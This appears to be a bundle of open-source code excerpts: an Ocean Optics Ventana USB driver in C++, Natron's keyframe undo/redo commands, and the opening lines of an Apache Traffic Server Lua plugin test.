* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*******************************************************/
#include "common/globals.h"
#include "vendors/OceanOptics/buses/usb/VentanaUSB.h"
#include "vendors/OceanOptics/buses/usb/OOIUSBProductID.h"
#include "vendors/OceanOptics/buses/usb/OOIUSBEndpointMaps.h"
#include "vendors/OceanOptics/protocols/obp/hints/OBPControlHint.h"
#include "vendors/OceanOptics/protocols/obp/hints/OBPSpectrumHint.h"
#include "vendors/OceanOptics/buses/usb/OOIUSBTrivialTransferHelper.h"
using namespace seabreeze;
using namespace oceanBinaryProtocol;
VentanaUSB::VentanaUSB() {
this->productID = VENTANA_USB_PID;
}
VentanaUSB::~VentanaUSB() {
}
bool VentanaUSB::open() {
bool retval = false;
retval = OOIUSBInterface::open();
if(true == retval) {
OBPControlHint *controlHint = new OBPControlHint();
OBPSpectrumHint *spectrumHint = new OBPSpectrumHint();
OOIUSBVentanaEndpointMap epMap;
clearHelpers();
/* On the Ventana, there is only a single endpoint in
* each direction. All hints map to the same kind of helper.
*/
addHelper(spectrumHint, new OOIUSBTrivialTransferHelper(
(this->usb), epMap));
addHelper(controlHint, new OOIUSBTrivialTransferHelper(
(this->usb), epMap));
}
return retval;
}
|
{
"pile_set_name": "Github"
}
|
/* ***** BEGIN LICENSE BLOCK *****
* This file is part of Natron <http://www.natron.fr/>,
* Copyright (C) 2013-2018 INRIA and Alexandre Gauthier-Foichat
*
* Natron is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Natron is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Natron. If not, see <http://www.gnu.org/licenses/gpl-2.0.html>
* ***** END LICENSE BLOCK ***** */
// ***** BEGIN PYTHON BLOCK *****
// from <https://docs.python.org/3/c-api/intro.html#include-files>:
// "Since Python may define some pre-processor definitions which affect the standard headers on some systems, you must include Python.h before any standard headers are included."
#include <Python.h>
// ***** END PYTHON BLOCK *****
#include "AnimationModuleUndoRedo.h"
#include <cmath>
#include <stdexcept>
#include <list>
#include <QtCore/QDebug>
#include "Global/GlobalDefines.h"
#include "Gui/AnimationModuleBase.h"
#include "Gui/AnimationModuleSelectionModel.h"
#include "Gui/AnimationModuleView.h"
#include "Gui/CurveGui.h"
#include "Gui/KnobGui.h"
#include "Gui/NodeAnim.h"
#include "Gui/NodeGui.h"
#include "Gui/TableItemAnim.h"
#include "Engine/Bezier.h"
#include "Engine/Knob.h"
#include "Engine/Curve.h"
#include "Engine/EffectInstance.h"
#include "Engine/Node.h"
#include "Engine/NodeGroup.h"
#include "Engine/KnobTypes.h"
#include "Engine/Transform.h"
#include "Engine/ViewIdx.h"
NATRON_NAMESPACE_ENTER
template <typename T>
static void convertVariantTimeValuePairToTypedList(const std::list<VariantTimeValuePair>& inList,
std::list<TimeValuePair<T> >* outList)
{
for (std::list<VariantTimeValuePair>::const_iterator it = inList.begin(); it!=inList.end(); ++it) {
TimeValuePair<T> p(it->time, variantToType<T>(it->value));
outList->push_back(p);
}
}
static void convertKeySetToList(const KeyFrameSet& inList,
double offset,
std::list<KeyFrame>* outList)
{
for (KeyFrameSet::const_iterator it = inList.begin(); it!=inList.end(); ++it) {
KeyFrame k = *it;
k.setTime(TimeValue(it->getTime() + offset));
outList->push_back(k);
}
}
static void
removeKeyFrames(const AnimItemDimViewKeyFramesMap& keys, const AnimItemBasePtr dstItem)
{
for (AnimItemDimViewKeyFramesMap::const_iterator it = keys.begin(); it != keys.end(); ++it) {
AnimatingObjectIPtr obj;
if (!dstItem) {
obj = it->first.item->getInternalAnimItem();
} else {
obj = dstItem->getInternalAnimItem();
}
if (!obj) {
continue;
}
const KeyFrameSet& keyStringSet = it->second;
std::list<double> keyTimes;
for (KeyFrameSet ::const_iterator it2 = keyStringSet.begin(); it2 != keyStringSet.end(); ++it2) {
keyTimes.push_back(it2->getTime());
}
obj->deleteValuesAtTime(keyTimes, it->first.view, it->first.dim, eValueChangedReasonUserEdited);
}
}
static void
addKeyFrames(const AnimItemDimViewKeyFramesMap& keys,
bool clearExisting,
double offset,
const AnimItemBasePtr& targetItem,
const DimSpec& targetItemDimension,
const ViewSetSpec& targetItemView)
{
for (AnimItemDimViewKeyFramesMap::const_iterator it = keys.begin(); it != keys.end(); ++it) {
const KeyFrameSet& keyStringSet = it->second;
DimSpec dim;
ViewSetSpec view;
AnimatingObjectIPtr obj;
if (!targetItem) {
dim = it->first.dim;
view = it->first.view;
obj = it->first.item->getInternalAnimItem();
} else {
dim = targetItemDimension;
view = targetItemView;
obj = targetItem->getInternalAnimItem();
}
if (!obj) {
continue;
}
if (clearExisting) {
// Remove all existing animation
obj->removeAnimation(view, dim, eValueChangedReasonUserEdited);
}
AnimatingObjectI::SetKeyFrameArgs args;
args.view = view;
args.dimension = dim;
std::list<KeyFrame> keysList;
convertKeySetToList(keyStringSet, offset, &keysList);
obj->setMultipleKeyFrames(args, keysList);
}
} // addKeyFrames
static void animItemDimViewCreateOldCurve(const AnimItemBasePtr& item, const DimIdx& dim, const ViewIdx& view, ItemDimViewCurveSet* oldCurves) {
CurvePtr curve = item->getCurve(dim, view);
if (!curve) {
return;
}
AnimItemDimViewIndexIDWithCurve key;
key.key.item = item;
key.key.view = view;
key.key.dim = dim;
key.oldCurveState.reset(new Curve);
key.oldCurveState->clone(*curve);
oldCurves->insert(key);
}
static void animItemDimViewSpecCreateOldCurve(const AnimItemBasePtr& item, const DimSpec& dim, const ViewSetSpec& view, ItemDimViewCurveSet* oldCurves) {
std::list<ViewIdx> viewsList = item->getViewsList();
int nDims = item->getNDimensions();
for (std::list<ViewIdx>::const_iterator it = viewsList.begin(); it != viewsList.end(); ++it) {
if (!view.isAll() && view != *it) {
continue;
}
DimSpec thisDimension = dim;
// If the item has its dimensions folded and we modify dimension 0, also modify other dimensions
if (thisDimension == 0 && !item->getAllDimensionsVisible(*it)) {
thisDimension = DimSpec::all();
}
for (int i = 0; i < nDims; ++i) {
if (!thisDimension.isAll() && dim != i) {
continue;
}
animItemDimViewCreateOldCurve(item, DimIdx(i), *it, oldCurves);
}
}
}
static void animItemDimViewCreateOldCurveSet(const AnimItemDimViewKeyFramesMap& keys, ItemDimViewCurveSet* oldCurves)
{
for (AnimItemDimViewKeyFramesMap::const_iterator it = keys.begin(); it != keys.end(); ++it) {
animItemDimViewCreateOldCurve(it->first.item, it->first.dim, it->first.view, oldCurves);
}
}
static void keysWithOldCurveSetClone(const ItemDimViewCurveSet& oldCurves)
{
for (ItemDimViewCurveSet::const_iterator it = oldCurves.begin(); it != oldCurves.end(); ++it) {
AnimatingObjectIPtr obj = it->key.item->getInternalAnimItem();
if (!obj) {
continue;
}
CurvePtr curve = obj->getAnimationCurve(it->key.view, it->key.dim);
if (!curve) {
continue;
}
// Clone the old curve state
obj->cloneCurve(it->key.view, it->key.dim, *it->oldCurveState, 0 /*offset*/, 0 /*range*/);
}
}
AddKeysCommand::AddKeysCommand(const AnimItemDimViewKeyFramesMap & keys,
const AnimationModuleBasePtr& model,
bool replaceExistingAnimation,
QUndoCommand *parent)
: QUndoCommand(parent)
, _model(model)
, _replaceExistingAnimation(replaceExistingAnimation)
, _keys(keys)
, _isFirstRedo(true)
{
animItemDimViewCreateOldCurveSet(_keys, &_oldCurves);
setText( tr("Add KeyFrame(s)") );
}
void
AddKeysCommand::undo()
{
keysWithOldCurveSetClone(_oldCurves);
AnimationModuleBasePtr model = _model.lock();
if (model) {
model->setCurrentSelection(AnimItemDimViewKeyFramesMap(), std::vector<TableItemAnimPtr>(), std::vector<NodeAnimPtr>());
}
} // undo
void
AddKeysCommand::redo()
{
addKeyFrames(_keys, _replaceExistingAnimation, 0 /*offset*/, AnimItemBasePtr(), DimSpec(0) /*irrelevant*/, ViewSetSpec(0) /*irrelevant*/);
if (!_isFirstRedo) {
AnimationModuleBasePtr model = _model.lock();
if (model) {
model->setCurrentSelection(_keys, std::vector<TableItemAnimPtr>(), std::vector<NodeAnimPtr>());
}
}
_isFirstRedo = false;
} // redo
RemoveKeysCommand::RemoveKeysCommand(const AnimItemDimViewKeyFramesMap & keys,
const AnimationModuleBasePtr& model,
QUndoCommand *parent)
: QUndoCommand(parent)
, _model(model)
, _keys(keys)
{
animItemDimViewCreateOldCurveSet(_keys, &_oldCurves);
setText( tr("Remove KeyFrame(s)") );
}
void
RemoveKeysCommand::undo()
{
keysWithOldCurveSetClone(_oldCurves);
AnimationModuleBasePtr model = _model.lock();
if (model) {
model->setCurrentSelection(_keys, std::vector<TableItemAnimPtr>(), std::vector<NodeAnimPtr>());
}
} // undo
void
RemoveKeysCommand::redo()
{
removeKeyFrames(_keys, AnimItemBasePtr());
AnimationModuleBasePtr model = _model.lock();
if (model) {
model->getSelectionModel()->clearSelection();
}
} // redo
PasteKeysCommand::PasteKeysCommand(const AnimItemDimViewKeyFramesMap & keys,
const AnimationModuleBasePtr& model,
const AnimItemBasePtr& target,
DimSpec targetDim,
ViewSetSpec targetView,
bool pasteRelativeToCurrentTime,
double currentTime,
QUndoCommand *parent)
: QUndoCommand(parent)
, _model(model)
, _offset(0)
, _target(target)
, _targetDim(targetView)
, _targetView(targetView)
, _keys()
{
animItemDimViewSpecCreateOldCurve(target, targetDim, targetView, &_oldCurves);
double minSelectedKeyTime(std::numeric_limits<double>::infinity());
if (pasteRelativeToCurrentTime) {
for (AnimItemDimViewKeyFramesMap::const_iterator it = keys.begin(); it != keys.end(); ++it) {
if (it->second.empty()) {
continue;
}
double minTimeForCurve = it->second.begin()->getTime();
minSelectedKeyTime = std::min(minSelectedKeyTime, minTimeForCurve);
}
if (minSelectedKeyTime != std::numeric_limits<double>::infinity()) {
_offset = currentTime - minSelectedKeyTime;
}
}
setText( tr("Paste KeyFrame(s)") );
}
void
PasteKeysCommand::undo()
{
keysWithOldCurveSetClone(_oldCurves);
AnimationModuleBasePtr model = _model.lock();
if (model) {
model->setCurrentSelection(_keys, std::vector<TableItemAnimPtr>(), std::vector<NodeAnimPtr>());
}
} // undo
void
PasteKeysCommand::redo()
{
addKeyFrames(_keys, false /*replaceExistingKeys*/, _offset, _target, _targetDim, _targetView);
AnimationModuleBasePtr model = _model.lock();
if (model) {
AnimItemDimViewKeyFramesMap newSelection;
AnimationModuleSelectionModel::addAnimatedItemKeyframes(_target, _targetDim, _targetView, &newSelection);
model->setCurrentSelection(newSelection, std::vector<TableItemAnimPtr>(), std::vector<NodeAnimPtr>());
}
} // redo
static void
moveReader(const NodePtr &reader,
double dt)
{
KnobIntBasePtr startingTimeKnob = toKnobIntBase( reader->getKnobByName(kReaderParamNameStartingTime) );
assert(startingTimeKnob);
ValueChangedReturnCodeEnum s = startingTimeKnob->setValue(startingTimeKnob->getValue() + dt, ViewSetSpec::all(), DimIdx(0), eValueChangedReasonUserEdited, 0);
Q_UNUSED(s);
}
static void
moveTimeOffset(const NodePtr& node,
double dt)
{
KnobIntBasePtr timeOffsetKnob = toKnobIntBase( node->getKnobByName(kTimeOffsetParamNameTimeOffset) );
assert(timeOffsetKnob);
ValueChangedReturnCodeEnum s = timeOffsetKnob->setValue(timeOffsetKnob->getValue() + dt, ViewSetSpec::all(), DimIdx(0), eValueChangedReasonUserEdited, 0);
Q_UNUSED(s);
}
static void
moveFrameRange(const NodePtr& node,
double dt)
{
KnobIntBasePtr frameRangeKnob = toKnobIntBase( node->getKnobByName(kFrameRangeParamNameFrameRange) );
assert(frameRangeKnob);
std::vector<int> values(2);
values[0] = frameRangeKnob->getValue(DimIdx(0)) + dt;
values[1] = frameRangeKnob->getValue(DimIdx(1)) + dt;
frameRangeKnob->setValueAcrossDimensions(values, DimIdx(0), ViewSetSpec::all(), eValueChangedReasonUserEdited);
}
static void
moveNodeIfLifetimeActivated(const NodePtr& node,
double dt)
{
KnobBoolPtr lifeTimeEnabledKnob = node->getEffectInstance()->getLifeTimeEnabledKnob();
if (!lifeTimeEnabledKnob || !lifeTimeEnabledKnob->getValue()) {
return;
}
KnobIntPtr lifeTimeKnob = node->getEffectInstance()->getLifeTimeKnob();
if (!lifeTimeKnob) {
return;
}
std::vector<int> values(2);
values[0] = lifeTimeKnob->getValue(DimIdx(0)) + dt;
values[1] = lifeTimeKnob->getValue(DimIdx(1)) + dt;
lifeTimeKnob->setValueAcrossDimensions(values, DimIdx(0), ViewSetSpec::all(), eValueChangedReasonUserEdited);
}
static void
moveGroupNode(const NodePtr& node,
double dt)
{
NodeGroupPtr group = node->isEffectNodeGroup();
assert(group);
NodesList nodes;
group->getNodes_recursive(nodes);
for (NodesList::iterator it = nodes.begin(); it != nodes.end(); ++it) {
NodeGuiPtr nodeGui = boost::dynamic_pointer_cast<NodeGui>( (*it)->getNodeGui() );
assert(nodeGui);
std::string pluginID = (*it)->getPluginID();
NodeGroupPtr isChildGroup = (*it)->isEffectNodeGroup();
// Move readers
if (pluginID == PLUGINID_NATRON_READ) {
moveReader(*it, dt);
} else if (pluginID == PLUGINID_OFX_TIMEOFFSET) {
moveTimeOffset(*it, dt);
} else if (pluginID == PLUGINID_OFX_FRAMERANGE) {
moveFrameRange(*it, dt);
} else if (isChildGroup) {
moveGroupNode(*it, dt);
}
// Move keyframes
const KnobsVec &knobs = (*it)->getKnobs();
for (KnobsVec::const_iterator knobIt = knobs.begin(); knobIt != knobs.end(); ++knobIt) {
const KnobIPtr& knob = *knobIt;
if ( !knob->hasAnimation() ) {
continue;
}
std::list<ViewIdx> views = knob->getViewsList();
for (int dim = 0; dim < knob->getNDimensions(); ++dim) {
for (std::list<ViewIdx>::const_iterator it2 = views.begin(); it2 != views.end(); ++it2) {
CurvePtr curve = knob->getAnimationCurve(*it2, DimIdx(dim));
if (!curve) {
continue;
}
KeyFrameSet keyframes = curve->getKeyFrames_mt_safe();
if (keyframes.empty()) {
continue;
}
std::list<double> keysToMove;
for (KeyFrameSet::const_iterator it3 = keyframes.begin(); it3 != keyframes.end(); ++it3) {
keysToMove.push_back(it3->getTime());
}
for (std::list<double> ::iterator kfIt = keysToMove.begin(); kfIt != keysToMove.end(); ++kfIt) {
knob->moveValueAtTime(TimeValue(*kfIt), *it2, DimIdx(dim), dt, 0 /*dv*/, 0);
}
}
}
}
}
} // moveGroupNode
void
WarpKeysCommand::animMapToInternalMap(const AnimItemDimViewKeyFramesMap& keys, KeyFramesWithStringIndicesMap* internalMap)
{
for (AnimItemDimViewKeyFramesMap::const_iterator it = keys.begin(); it!=keys.end(); ++it) {
CurvePtr curve = it->first.item->getCurve(it->first.dim, it->first.view);
assert(curve);
KeyFrameWithStringIndexSet& newSet = (*internalMap)[it->first];
for (KeyFrameSet::const_iterator it2 = it->second.begin(); it2 != it->second.end(); ++it2) {
KeyFrameWithStringIndex k;
k.k = *it2;
k.index = curve->keyFrameIndex(it2->getTime());
assert(k.index != -1);
newSet.insert(k);
}
}
}
void
WarpKeysCommand::internalMapToKeysMap(const KeyFramesWithStringIndicesMap& internalMap, AnimItemDimViewKeyFramesMap* keys)
{
for (KeyFramesWithStringIndicesMap::const_iterator it = internalMap.begin(); it!=internalMap.end(); ++it) {
KeyFrameSet& newSet = (*keys)[it->first];
for (KeyFrameWithStringIndexSet::const_iterator it2 = it->second.begin(); it2 != it->second.end(); ++it2) {
newSet.insert(it2->k);
}
}
}
WarpKeysCommand::WarpKeysCommand(const AnimItemDimViewKeyFramesMap &keys,
const AnimationModuleBasePtr& model,
const std::vector<NodeAnimPtr >& nodes,
const std::vector<TableItemAnimPtr>& tableItems,
double dt,
double dv,
QUndoCommand *parent )
: QUndoCommand(parent)
, _model(model)
, _keys()
, _nodes(nodes)
, _tableItems(tableItems)
{
_warp.reset(new Curve::TranslationKeyFrameWarp(dt, dv));
animMapToInternalMap(keys, &_keys);
setText( tr("Move KeyFrame(s)") );
}
WarpKeysCommand::WarpKeysCommand(const AnimItemDimViewKeyFramesMap& keys,
const AnimationModuleBasePtr& model,
const Transform::Matrix3x3& matrix,
QUndoCommand *parent)
: QUndoCommand(parent)
, _model(model)
, _keys()
{
_warp.reset(new Curve::AffineKeyFrameWarp(matrix));
animMapToInternalMap(keys, &_keys);
setText( tr("Transform KeyFrame(s)") );
}
bool
WarpKeysCommand::testWarpOnKeys(const AnimItemDimViewKeyFramesMap& inKeys, const Curve::KeyFrameWarp& warp)
{
for (AnimItemDimViewKeyFramesMap::const_iterator it = inKeys.begin(); it!=inKeys.end();++it) {
AnimatingObjectIPtr obj = it->first.item->getInternalAnimItem();
if (!obj) {
continue;
}
CurvePtr originalCurve = obj->getAnimationCurve(it->first.view, it->first.dim);
if (!originalCurve) {
continue;
}
// Work on a local copy
Curve tmpCurve;
tmpCurve.clone(*originalCurve);
const KeyFrameSet& keyStringSet = it->second;
// Make-up keyframe times to warp for this item/view/dim
std::list<double> keyTimes;
for (KeyFrameSet ::const_iterator it2 = keyStringSet.begin(); it2 != keyStringSet.end(); ++it2) {
keyTimes.push_back(it2->getTime());
}
if (!tmpCurve.transformKeyframesValueAndTime(keyTimes, warp)) {
return false;
}
}
return true;
} // testWarpOnKeys
void
WarpKeysCommand::warpKeys()
{
Curve::TranslationKeyFrameWarp* isTranslation = dynamic_cast<Curve::TranslationKeyFrameWarp*>(_warp.get());
if (isTranslation) {
double dt = isTranslation->getDT();
for (std::vector<NodeAnimPtr >::iterator it = _nodes.begin(); it != _nodes.end(); ++it) {
AnimatedItemTypeEnum type = (*it)->getItemType();
if (type == eAnimatedItemTypeReader) {
moveReader( (*it)->getInternalNode(), dt);
} else if (type == eAnimatedItemTypeFrameRange) {
moveFrameRange( (*it)->getInternalNode(), dt );
} else if (type == eAnimatedItemTypeTimeOffset) {
moveTimeOffset( (*it)->getInternalNode(), dt );
} else if (type == eAnimatedItemTypeGroup) {
moveGroupNode((*it)->getInternalNode(), dt);
} else if (type == eAnimatedItemTypeCommon) {
moveNodeIfLifetimeActivated((*it)->getInternalNode(), dt);
}
}
//for (std::vector<TableItemAnimPtr>::iterator it = _tableItems.begin(); it != _tableItems.end(); ++it) {
#pragma message WARN("TODO: move lifetime table item")
//}
}
for (KeyFramesWithStringIndicesMap::iterator it = _keys.begin(); it!=_keys.end();++it) {
AnimatingObjectIPtr obj = it->first.item->getInternalAnimItem();
if (!obj) {
continue;
}
const KeyFrameWithStringIndexSet& keyStringSet = it->second;
// Make-up keyframe times to warp for this item/view/dim
std::list<double> keyTimes;
for (KeyFrameWithStringIndexSet ::const_iterator it2 = keyStringSet.begin(); it2 != keyStringSet.end(); ++it2) {
keyTimes.push_back(it2->k.getTime());
}
// Warp keys...
std::vector<KeyFrame> newKeyframe;
if (obj->warpValuesAtTime(keyTimes, it->first.view, it->first.dim, *_warp, &newKeyframe)) {
assert(newKeyframe.size() == keyStringSet.size());
// Modify original keys by warped keys
KeyFrameWithStringIndexSet newKeyStringSet;
KeyFrameWithStringIndexSet::const_iterator keysIt = keyStringSet.begin();
for (std::size_t i = 0; i < newKeyframe.size(); ++i, ++keysIt) {
// Copy the new key, its time and Y value may have changed
KeyFrameWithStringIndex k;
k.k = newKeyframe[i];
// Copy index and string - they did not change
k.index = keysIt->index;
newKeyStringSet.insert(k);
}
it->second = newKeyStringSet;
}
} // for all objects
AnimationModuleBasePtr model = _model.lock();
if (model) {
AnimItemDimViewKeyFramesMap keys;
internalMapToKeysMap(_keys, &keys);
model->setCurrentSelection(keys, _tableItems, _nodes);
}
} // warpKeys
void
WarpKeysCommand::undo()
{
_warp->setWarpInverted(true);
warpKeys();
}
void
WarpKeysCommand::redo()
{
_warp->setWarpInverted(false);
warpKeys();
}
bool
WarpKeysCommand::mergeWith(const QUndoCommand * command)
{
const WarpKeysCommand* cmd = dynamic_cast<const WarpKeysCommand*>(command);
if (!cmd) {
return false;
}
// Not the same number of curves, bail
if ( cmd->_keys.size() != _keys.size() ) {
return false;
}
// Check if all curves are the same, and for each of them check that keyframes indices are the same
{
KeyFramesWithStringIndicesMap::const_iterator itother = cmd->_keys.begin();
for (KeyFramesWithStringIndicesMap::const_iterator it = _keys.begin(); it != _keys.end(); ++it, ++itother) {
if (itother->first.item != it->first.item || itother->first.view != it->first.view || itother->first.dim != it->first.dim) {
return false;
}
if ( itother->second.size() != it->second.size() ) {
return false;
}
CurvePtr thisCurve = it->first.item->getCurve(it->first.dim, it->first.view);
assert(thisCurve && thisCurve == itother->first.item->getCurve(itother->first.dim, itother->first.view));
KeyFrameWithStringIndexSet::const_iterator itOtherKey = itother->second.begin();
for (KeyFrameWithStringIndexSet::const_iterator itKey = it->second.begin(); itKey != it->second.end(); ++itKey, ++itOtherKey) {
if (itKey->index != itOtherKey->index) {
return false;
}
}
}
}
// Check that nodes are the same
if ( cmd->_nodes.size() != _nodes.size() ) {
return false;
}
{
std::vector<NodeAnimPtr >::const_iterator itOther = cmd->_nodes.begin();
for (std::vector<NodeAnimPtr >::const_iterator it = _nodes.begin(); it != _nodes.end(); ++it, ++itOther) {
if (*itOther != *it) {
return false;
}
}
}
// Check that table items are the same
if ( cmd->_tableItems.size() != _tableItems.size() ) {
return false;
}
{
std::vector<TableItemAnimPtr >::const_iterator itOther = cmd->_tableItems.begin();
for (std::vector<TableItemAnimPtr >::const_iterator it = _tableItems.begin(); it != _tableItems.end(); ++it, ++itOther) {
if (*itOther != *it) {
return false;
}
}
}
// Check that the warp was merged OK
bool warpMerged = _warp->mergeWith(*cmd->_warp);
if (!warpMerged) {
return false;
}
// Merge keyframes
KeyFramesWithStringIndicesMap::const_iterator itother = cmd->_keys.begin();
for (KeyFramesWithStringIndicesMap::iterator it = _keys.begin(); it != _keys.end(); ++it, ++itother) {
it->second = itother->second;
}
return warpMerged;
} // WarpKeysCommand::mergeWith
int
WarpKeysCommand::id() const
{
return kCurveEditorMoveMultipleKeysCommandCompressionID;
}
SetKeysInterpolationCommand::SetKeysInterpolationCommand(const AnimItemDimViewKeyFramesMap & keys,
const AnimationModuleBasePtr& model,
KeyframeTypeEnum newInterpolation,
QUndoCommand *parent)
: QUndoCommand(parent)
, _model(model)
, _keys(keys)
, _newInterpolation(newInterpolation)
, _isFirstRedo(true)
{
animItemDimViewCreateOldCurveSet(_keys, &_oldCurves);
setText( tr("Set KeyFrame(s) Interpolation") );
}
void
SetKeysInterpolationCommand::undo()
{
keysWithOldCurveSetClone(_oldCurves);
AnimationModuleBasePtr model = _model.lock();
if (model) {
model->setCurrentSelection(_keys, std::vector<TableItemAnimPtr>(), std::vector<NodeAnimPtr>());
}
}
void
SetKeysInterpolationCommand::redo()
{
for (AnimItemDimViewKeyFramesMap::iterator it = _keys.begin(); it != _keys.end(); ++it) {
AnimatingObjectIPtr obj = it->first.item->getInternalAnimItem();
if (!obj) {
continue;
}
std::list<double> keyTimes;
for (KeyFrameSet::const_iterator it2 = it->second.begin(); it2 != it->second.end(); ++it2) {
keyTimes.push_back(it2->getTime());
}
obj->setInterpolationAtTimes(it->first.view, it->first.dim, keyTimes, _newInterpolation);
}
if (!_isFirstRedo) {
AnimationModuleBasePtr model = _model.lock();
if (model) {
model->setCurrentSelection(_keys, std::vector<TableItemAnimPtr>(), std::vector<NodeAnimPtr>());
}
}
_isFirstRedo = true;
}
MoveTangentCommand::MoveTangentCommand(const AnimationModuleBasePtr& model,
SelectedTangentEnum deriv,
const AnimItemDimViewKeyFrame& keyframe,
double dx,
double dy,
QUndoCommand *parent)
: QUndoCommand(parent)
, _model(model)
, _oldKey(keyframe)
, _newKey(keyframe)
, _deriv(deriv)
, _setBoth(false)
, _isFirstRedo(true)
{
// Compute derivative
CurvePtr curve = keyframe.id.item->getCurve(keyframe.id.dim,keyframe.id.view);
assert(curve);
KeyFrameSet keys = curve->getKeyFrames_mt_safe();
KeyFrameSet::const_iterator cur = keys.find(keyframe.key);
assert( cur != keys.end() );
//find next and previous keyframes
KeyFrameSet::const_iterator prev = cur;
if ( prev != keys.begin() ) {
--prev;
} else {
prev = keys.end();
}
KeyFrameSet::const_iterator next = cur;
if ( next != keys.end() ) {
++next;
}
// handle first and last keyframe correctly:
// - if their interpolation was eKeyframeTypeCatmullRom or eKeyframeTypeCubic, then it becomes eKeyframeTypeFree
// - in all other cases it becomes eKeyframeTypeBroken
KeyframeTypeEnum interp = keyframe.key.getInterpolation();
bool keyframeIsFirstOrLast = ( prev == keys.end() || next == keys.end() );
bool interpIsNotBroken = (interp != eKeyframeTypeBroken);
bool interpIsCatmullRomOrCubicOrFree = (interp == eKeyframeTypeCatmullRom ||
interp == eKeyframeTypeCubic ||
interp == eKeyframeTypeFree);
_setBoth = keyframeIsFirstOrLast ? interpIsCatmullRomOrCubicOrFree || curve->isCurvePeriodic() : interpIsNotBroken;
if (deriv == eSelectedTangentLeft) {
//if dx is not of the good sign it would make the curve uncontrollable
if (dx <= 0) {
dx = 0.0001;
}
} else {
//if dx is not of the good sign it would make the curve uncontrollable
if (dx >= 0) {
dx = -0.0001;
}
}
double derivative = dy / dx;
if (_setBoth) {
_newKey.key.setInterpolation(eKeyframeTypeFree);
_newKey.key.setLeftDerivative(derivative);
_newKey.key.setRightDerivative(derivative);
} else {
if (deriv == eSelectedTangentLeft) {
_newKey.key.setLeftDerivative(derivative);
} else {
_newKey.key.setRightDerivative(derivative);
}
_newKey.key.setInterpolation(eKeyframeTypeBroken);
}
setText( tr("Move KeyFrame Slope") );
}
MoveTangentCommand::MoveTangentCommand(const AnimationModuleBasePtr& model,
SelectedTangentEnum deriv,
const AnimItemDimViewKeyFrame& keyframe,
double derivative,
QUndoCommand *parent)
: QUndoCommand(parent)
, _model(model)
, _oldKey(keyframe)
, _newKey(keyframe)
, _deriv(deriv)
, _setBoth(true)
, _isFirstRedo(true)
{
KeyframeTypeEnum newInterp = _newKey.key.getInterpolation() == eKeyframeTypeBroken ? eKeyframeTypeBroken : eKeyframeTypeFree;
_newKey.key.setInterpolation(newInterp);
_oldKey.key.setInterpolation(newInterp);
_setBoth = newInterp == eKeyframeTypeFree;
switch (deriv) {
case eSelectedTangentLeft:
_newKey.key.setLeftDerivative(derivative);
if (newInterp != eKeyframeTypeBroken) {
_newKey.key.setRightDerivative(derivative);
}
break;
case eSelectedTangentRight:
_newKey.key.setRightDerivative(derivative);
if (newInterp != eKeyframeTypeBroken) {
_newKey.key.setLeftDerivative(derivative);
}
default:
break;
}
setText( tr("Move KeyFrame Slope") );
}
void
MoveTangentCommand::setNewDerivatives(bool undo)
{
AnimatingObjectIPtr obj = _oldKey.id.item->getInternalAnimItem();
if (!obj) {
return;
}
double left = undo ? _oldKey.key.getLeftDerivative() : _newKey.key.getLeftDerivative();
double right = undo ? _oldKey.key.getRightDerivative() : _newKey.key.getRightDerivative();
KeyframeTypeEnum interp = undo ? _oldKey.key.getInterpolation() : _newKey.key.getInterpolation();
if (_setBoth) {
obj->setLeftAndRightDerivativesAtTime(_oldKey.id.view, _oldKey.id.dim, _oldKey.key.getTime(), left, right);
} else {
bool isLeft = _deriv == eSelectedTangentLeft;
obj->setDerivativeAtTime(_oldKey.id.view, _oldKey.id.dim, _oldKey.key.getTime(), isLeft ? left : right, isLeft);
}
obj->setInterpolationAtTime(_oldKey.id.view, _oldKey.id.dim, _oldKey.key.getTime(), interp);
}
void
MoveTangentCommand::undo()
{
setNewDerivatives(true);
AnimationModuleBasePtr model = _model.lock();
if (model) {
AnimItemDimViewKeyFramesMap newSelection;
newSelection[_oldKey.id].insert(_oldKey.key);
model->setCurrentSelection(newSelection, std::vector<TableItemAnimPtr>(), std::vector<NodeAnimPtr>());
}
}
void
MoveTangentCommand::redo()
{
setNewDerivatives(false);
AnimationModuleBasePtr model = _model.lock();
if (model) {
AnimItemDimViewKeyFramesMap newSelection;
newSelection[_newKey.id].insert(_newKey.key);
model->setCurrentSelection(newSelection, std::vector<TableItemAnimPtr>(), std::vector<NodeAnimPtr>());
}
_isFirstRedo = true;
}
int
MoveTangentCommand::id() const
{
return kCurveEditorMoveTangentsCommandCompressionID;
}
bool
MoveTangentCommand::mergeWith(const QUndoCommand * command)
{
const MoveTangentCommand* cmd = dynamic_cast<const MoveTangentCommand*>(command);
if (!cmd || cmd->id() == id()) {
return false;
}
if (cmd->_newKey.id.item != _newKey.id.item || cmd->_newKey.id.dim != _newKey.id.dim || cmd->_newKey.id.view != _newKey.id.view || cmd->_newKey.key.getTime() != _newKey.key.getTime()) {
return false;
}
_newKey.key.setInterpolation(cmd->_newKey.key.getInterpolation());
_newKey.key.setLeftDerivative(cmd->_newKey.key.getLeftDerivative());
_newKey.key.setRightDerivative(cmd->_newKey.key.getRightDerivative());
return true;
}
NATRON_NAMESPACE_EXIT
|
{
"pile_set_name": "Github"
}
|
'''
'''
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
Test.Summary = '''
Test lua functionality
'''
Test.SkipUnless(
Condition.PluginExists('tslua.so'),
)
Test.ContinueOnFail = True
# Define default ATS
ts = Test.MakeATSProcess("ts")
server = Test.MakeOriginServer("server")
Test.testName = ""
